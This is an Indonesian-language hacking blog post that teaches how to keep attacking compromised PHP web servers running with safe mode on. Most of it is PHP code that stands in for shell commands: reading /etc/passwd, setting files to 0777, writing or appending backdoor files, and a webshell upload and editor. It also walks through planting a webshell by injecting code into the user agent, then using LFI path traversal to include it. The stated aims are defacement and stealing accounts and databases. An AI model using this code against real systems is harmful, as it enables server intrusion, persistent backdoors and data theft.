Statistics |
Total online: 1 Guests: 1 Users: 0 |
|
| | |
| Main » 2010 » October » 19 » Safemode ON
|
== Safemode Bypass (Proof Of Concept) ==
<Pemahaman Tentang Tutorial Ini Saya Copas Dari ExploreCrew. Penjelasan ini Saya berikan, agar tidak terjadi salah paham>.
Yang sering maen shell pasti tau tentang safemode. Ada yang off ada yang
on. Kalau Safemode OFF, lancarlah kita beraksi. Command2 bisa di
jalankan dengan lancar dan nyaman.
But klo Safemode ON, maka menciutlah nyali, berkuranglah semangat, dan
greget2, karena command2 gak bisa di jalankan. yap, safemode on gak
mengijinkan command2 shell exec di jalankan. Tools Exploit banyak yang
memanfaatkan shell exec. Sehingga jika shell exec gak bisa di jalankan
(dalam kasus ini karena safemode on), maka exploit gagal, tidak bisa
upload shell, apalagi deface. Sehingga hal ini (safemode on) mempersulit
attacker dalam beraksi.
Nah, baca kembali paragraf di atas. saya mengatakan "mempersulit", bukan
mengatakan mencegah apalagi menghentikan. yap. Safemode on bukan
berarti attacker tidak bisa bergerak. itu anggapan salah. Karena
meskipun safemode on, attacker tetep bisa beraksi. Upload webshell,
mencuri account, defacing, dll. Istilah keren-nya yg sering saya dengar
di dunia maya, hal ini di sebut "Safemode Bypass". Yap, membypass
safemode on untuk tetap dapat beraksi. Seperti upload phpshell, editing
content, dll.
Dalam artikel ini saya akan memberikan beberapa gambaran bagaimana
melakukan apa yg kita inginkan dengan kondisi server safemode on. Bahasa
yg saya gunakan adalah PHP. Anda bisa membuatnya dalam bahasa lain
sesuai kreasi anda. Saya hanya akan memberikan gambaran proff of concept
aja. Langsung aja ye bozz.
Safemode ON memang mendisable shell exec secara otomatis. sehingga kita
tidak bisa menggunakan fungsi2 shell exec seperti system(), exec(),
passthru(), dan kawan-kawanya. Memang penggunaan fungsi shell exec
sangat enak dan mudah karena bisa langsung menjalankan command2 shell.
Namun jika hal ini tidak bisa di lakukan, maka kita harus berfikir lebih
untuk dapat terus beraksi. Coding adalah jawabanya.
Dalam sekenario, tentu saja kita harus mendapatkan akses dulu ke sistem
korban. ntah itu rfi, lfi, dll. yg penting udah masuk. wlo pun gak bisa
ngapa2in karena shell exec nya tewas. hwekekekke. do not worry, tetep
bisa beraksi.
Berikut adalah beberapa command yg sering qt pake dalam exekusi web server.
# Shell Information [ uname -a ]
$uname = php_uname();
# Current active user [ id ]
$id = posix_geteuid(); $gid = posix_geteuid();
# get current directory [ pwd ]
$dir = getcwd();
//cara ke2 $dir = dirname(__FILE__);
# File owner and group
$dir = getcwd(); $file = "index.php"; // contoh file index.php $owner = posix_getpwuid(fileowner($dir.'/'.$file)); $group = posix_getgrgid(filegroup($dir.'/'.$file));
# Change direktori [ cd dir ]
Berpindah dari direktori ke direktori
chdir("/tmp"); // ex: masok dir /tmp
# File list [ ls -la ]
buka direktori aktif, ambil list2 file nya beserta permission nya.
$pwd = getcwd(); $opendir = opendir($pwd); while (($file = readdir($opendir)) !== false) { //$file adalah nama file ato direktori yg ada pada $pwd //get file permission $path = $pwd.'/'.$file; $perm_numeric = substr(sprintf('%o', fileperms($path)), -4); //full display perm file $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; }
// Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
// Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
// World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); # writeable or not $curr_id = posix_geteuid(); $curr_gid = posix_geteuid(); $file_owner = posix_getpwuid(fileowner($path)); $file_group = posix_getgrgid(filegroup($path)); if($curr_id == $file_owner){ $writeable = 1; } elseif( ($curr_gid == $file_group) && ($perms & 0x0010)) { $writealble = 1; } elseif($perms & 0x0002) { $writeable = 1; } # tampilkan print $file."\t\t".$file_owner."/".$file_group."\t\t".$perm_numeric."\t\t".$perms."\t\t".(($writeable)?"Writeable":"-")."\r\n"; } closedir($opendir);
# Change file permission [ chmod ]
//chmod +rwx file chmod("index.php","0777");
//chmod + rwx isi direktori $dir = "/home/user/emboh/" while (($file = readdir($dir)) !== false) { chmod($file,"0777"); }
# copy file [ cp /path/old/file.txt /path/new/file.txt ]
$oldfile = "/path/old/file.txt"; $newfile = "/path/new/file.txt"; copy($oldfile,$newfile);
# read file [ cat /path/file.txt ]
$file = "/etc/passwd"; $read = fopen($file,"r"); $fread = fread($read,filesize($read)); fclose($read); print $fread;
# membuat file
teknik membuat file tepat untuk mengupload backdoor (webshell) :-P
$isifile = "blablablablablablablablablablablablablabla"; // isi script backdoor disini klo mo bikin backdoor $create = fopen("backdoor.php","w"); fwrite($create,$isifile); fclose($create); chmod("backdoor.php","0755");
perhatikan parameter "w" pada fopen. w artinya write. dimana file akan fullwrite, jika file exists maka file akan di overwrite.
jika kita ingin menambahkan $isifile ke dalam file yang udah ada (misal
menyisipkan backdoor ke file yg dah ada), maka parameter yg tepat adalah
"a".
# rename file [ mv /path/old/file.txt /path/new/file.txt ]
$oldfile = "/path/old/file.txt"; $newfile = "/path/new/file.txt"; rename($oldfile,$newfile);
#del file [ rm -f /path/to/file.txt ]
$file = "/path/to/file.txt"; unlink($file);
# file upload
//kotak upload echo "<form action='".$_SERVER['PHP_SELF']."' method=POST enctype='multipart/form-data'> File: <input type=file name=File > <br> Ke Direktori: <input type=text name=Dir ><br> <input type=submit value=Upload > </form>";
//proses upload if($_FILES['File']['name']){ if(@move_uploaded_file($_FILES['File']['tmp_name'],$_POST['Dir']."/".$_FILES['File']['name'])){ echo "File terupload "; } else { echo "Gagal upload"; } }
# file editor
if($_POST['Save']){ $isifile = $_POST['isifile']; $file = $_POST['file']; $save = fopen($file,"w"); if(@fwrite($save,$isifile)){ $saved = 1; } fclose($save); } if($_POST['edit']){ $open = fopen($_POST['file'],"r"); $isifile = fread($open,filesize($open)); fclose($open); } echo "<form action='".$_SERVER['PHP_SELF']."' method=POST > File: <input type=file > <input type=submit name=edit value=Edit ><br> ".(($saved)?"Saved!":"")." <textarea name=isifile rows=40 cols=70>".$isifile."</textarea> <input type=submit name=Save value=Save /> ";
Dari beberapa contoh di atas, kita ketahui bahwa semuanya menggunakan
fungsi2 dari program secara langsung. Fungsi2 tersebut jelas bukan shell
exec. Namun sudah cukup bagi kita untuk menyerang. Misal defacing,
mencuri database, dll.
Kesimpulannya, sebuah bahasa pemrogramman sudah mempunyai fungsi2 komplit
yang bisa kita gunakan untuk melewati safemode on. Sehingga penggunaan
programming sangat di perlukan disini. Karena keperluan kita tidak
pernah sama, sehingga program / code yang kita perlukan juga tidak akan
sama.
Dari sedikit contoh di atas, saya harap kita mengerti bagaimana cara
membypass safemode, yaitu dengan mengganti command shell kita dengan
penggunaan fungsi2 yang sudah ada pada bahasa pemrogramman maupun
fungsi2 yang harus kita tulis sendiri untuk keperluan kita.
### Contoh lain penggunaan methode safemode bypass ###
# Upload shell melalui LFI (safemode ON)
Cara paling umum untuk upload shell melalui lfi adalah dengan
menyisipkan command download (wget,lwp-download,dkk) pada user agent,
seperti ini:
Bila safemode on, maka command tersebut jelas gagal 100%. Yang gagal
adalah command nya, namun kita tidak gagal mengupload shell. Dengan
metode safemode bypass. Saya membuat script berikut.
kemudian saya menyisipkan script tersebut ke user agent. lalu mengakses /proc/self/environ pada target LFI.
Script tersebut jelas sekali klo membuat file di /tmp dengan nama xcrew.
Setelah mengakses environ, maka saya telah berhasil mengupload backdoor
saya di /tmp dengan nama file xcrew. dan kemudian saya akan menginclude
file tersebut dengan teknik LFI spt berikut:
http://target.lfi/index.php?bug=../../../../../../../../../../../../../../../../tmp/xcrew%00
Maka saya mendapatkan backdoor/webshell saya dengan cara seperti itu. Untuk selanjutnya tinggal memanfaatkan webshell tersebut.
###### QUOTES ######
Sebuah bahasa pemrogramman sudah mempunyai fungsi2 yg siap kita
manfaatkan untuk keperluan2 kita, sudah selayaknya kita manfaatkan hal
ini dengan tepat.
Satu jalan tertutup, cari jalan yang lain. Dalam hacking, selalu
berfikir kreatif adalah kuncinya. Karena jalan selalu ada jika kita
mencarinya. Hacking is Art. Ribuan jalan untuk dapat mencapai tujuan,
bahkan dengan menggali lewat dalam tanah pun adalah sebuah jalan.
#### EoF #####
Article Asli Ditulis Oleh :
./ArRay a.k.a XterM
XCrew UnderGround Coder Team ! ExploreCrew
|
Views: 1606 |
Added by: ariebunklon
| Rating: 0.0/0 |
| |
| | |
|
|